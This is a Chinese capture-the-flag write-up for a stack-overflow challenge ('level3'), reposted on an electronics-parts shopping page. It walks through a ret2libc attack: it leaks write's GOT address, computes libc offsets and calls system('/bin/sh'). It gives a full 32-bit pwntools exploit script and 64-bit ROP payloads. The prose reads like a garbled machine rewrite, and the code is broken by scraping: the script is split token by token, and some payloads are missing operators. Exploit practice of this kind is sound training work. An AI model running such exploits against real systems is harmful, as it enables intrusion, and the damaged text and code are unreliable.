资讯详情

栈溢出基础练习题——4(写有64和32位两种攻击方式)

题目地址:请看pwn栈溢出基本练习-1 ;所有的练习题都放在这个博客上。 pwn3

该题详解

    • 题目分析
    • 利用本地libc打本通本地
    • 调试计算溢出地址
    • 得到system函数地址
    • 计算system真实地址
    • 找到/bin/sh地址
    • 二次栈溢出
    • 完全攻击代码
    • 64位
      • 调用64位和32位函数时的区别
      • 栈构造图

题目分析

题目给了libc函数 先checksec 在这里插入图片描述 通过反编译,明显存在漏洞函数read()栈溢出 但这个问题的困难在于栈不能栈shellcode,而且不存在system但是给了函数libc,则可以通过libc找到system函数

libc装载内存时,基地址会发生变化,但函数偏移不会因为是整体装载而发生变化 tips:虽然给了这个题目libc,但是,如果你想玩本地游戏,你仍然需要使用本地游戏libc,否则会有问题

思路:通过write函数输出write真实地址,然后通过libc找到system调用真实地址system并将函数传入/bin/sh参数即可

利用本地libc打本通本地

利用lld level3本地使用的函数3可以查看函数libc 但该libc只是一个软连接,避免事故,找到真相libc最好,使用file libc文件即可 发现真实libc地址:/lib/i386-linux-gnu/libc-2.33.so

调试计算溢出地址

偏移地址为0x88 4

得到system函数地址

调用函数时,plt和got一般来说,表关系图got存储函数的真实地址 想法:可以基于现有的write函数地址和libc中的write可以计算函数libc基地址、基地址 system可以计算地址偏移system函数真实地址 因此我们要计算出函数运行时的write函数的真实地址只需输出got表中的write地址可以使用,可以使用write函数输出地址信息,溢出目的:调用write函数并输出write函数真实地址

ssize_t write(int fd,void*buf,size_t count)

fd: 是文件描述符,对应1 buf: 需要写入的数据通常是字符串; count: 字节数每次写入

payload = cyclic(0x88_4)   p32(elf.plt["write"])   p32(elf.symbols["vulnerable_function"]) p32(1) p32(elf.got["write"]) p32(4) io.send(payload) io.recv() 

压入vulnerable_function_addr地址是因为这个问题还没有解决,需要重复使用vulnerable_function里的read因此,我希望在执行后返回函数vulnerable_function

结果 这里输出字符串格式,使用u32()解码即可 write真实地址为0xf7e4ad50

计算system真实地址

找到/bin/sh地址

虽然题目中没有/bin/sh地址,但是libc存在,利用libc找到/bin/sh bin_sh = libc_base next(libc.search(b’/bin/sh’))

二次栈溢出

payload = cyclic(0x88 4) p32(system_addr) b’AAAA’ p32(bin_sh)

完全攻击代码

from pwn import * elf = ELF("./level3") libc = ELF("/lib/i386-linux-gnu/libc-2.33.so") io = process("./level3"
       
        ) 
        # 进行第一次栈溢出,并返回vulnerable函数 payload 
        = cyclic
        (
        0x88
        +
        4
        ) 
        + p32
        (elf
        .plt
        [
        "write"
        ]
        ) 
        + p32
        (elf
        .symbols
        [
        "vulnerable_function"
        ]
        )
        +p32
        (
        1
        )
        +p32
        (elf
        .got
        [
        "write"
        ]
        )
        +p32
        (
        4
        ) io
        .send
        (payload
        ) io
        .recv
        (
        ) write_addr 
        = 
        int
        (
        hex
        (u32
        (
        b'P\xad\xe4\xf7'
        )
        )
        ,
        16
        ) libc_base 
        = write_addr 
        - libc
        .symbols
        [
        "write"
        ] system_addr 
        = libc_base 
        + libc
        .symbols
        [
        "system"
        ] bin_sh 
        = libc_base 
        + 
        next
        (libc
        .search
        (
        b'/bin/sh'
        )
        ) 
        # 进行第二次栈溢出,进入sh payload 
        = cyclic
        (
        0x88
        +
        4
        )
        +p32
        (system_addr
        )
        +
        b'AAAA' 
        + p32
        (bin_sh
        ) io
        .send
        (payload
        ) io
        .interactive
        (
        ) 
       

64位

64位与32位函数调用时的区别

x86:

  • 使用栈传递参数
  • 使用eax存返回值

注意x86参数是倒序存入栈的 amd64:

  • 前6个参数依次存放于rdi,rsi,rdx,rcx,r8,r9寄存器中
  • 后7个参数存放于栈中

注意寄存器是顺着放入,当存入栈时也是逆序放入,因为栈先进后出

栈构造图

由于64位参数放在寄存器中,前三个参数分别放置在rdi,rsi,rdx 先ROPgadget下看这三个寄存器是否能pop ret 发现存在rdi、rsi ,但不没有rdx,由于是write函数的三个参数,第三个参数是输出数据的长度,我们这想要其输出write函数的真实地址,因此第三个参数>8即可,因此rdx存的值>8就行,这就看运气了 第一次栈溢出的栈结构图:

payload = b'A'*(128+8) + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(elf.got["write"]) + b'A'*8 + p64(elf.plt["write"]) + p64(elf.symbols["vulnerable_function"])

第二次栈溢出的结构图

payload = b'A'*(128+8) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_addr)

标签: p32j3m密封连接器p32j12m密封连接器p32j10mq密封连接器p32j11mqg密封连接器

锐单商城拥有海量元器件数据手册IC替代型号,打造 电子元器件IC百科大全!

锐单商城 - 一站式电子元器件采购平台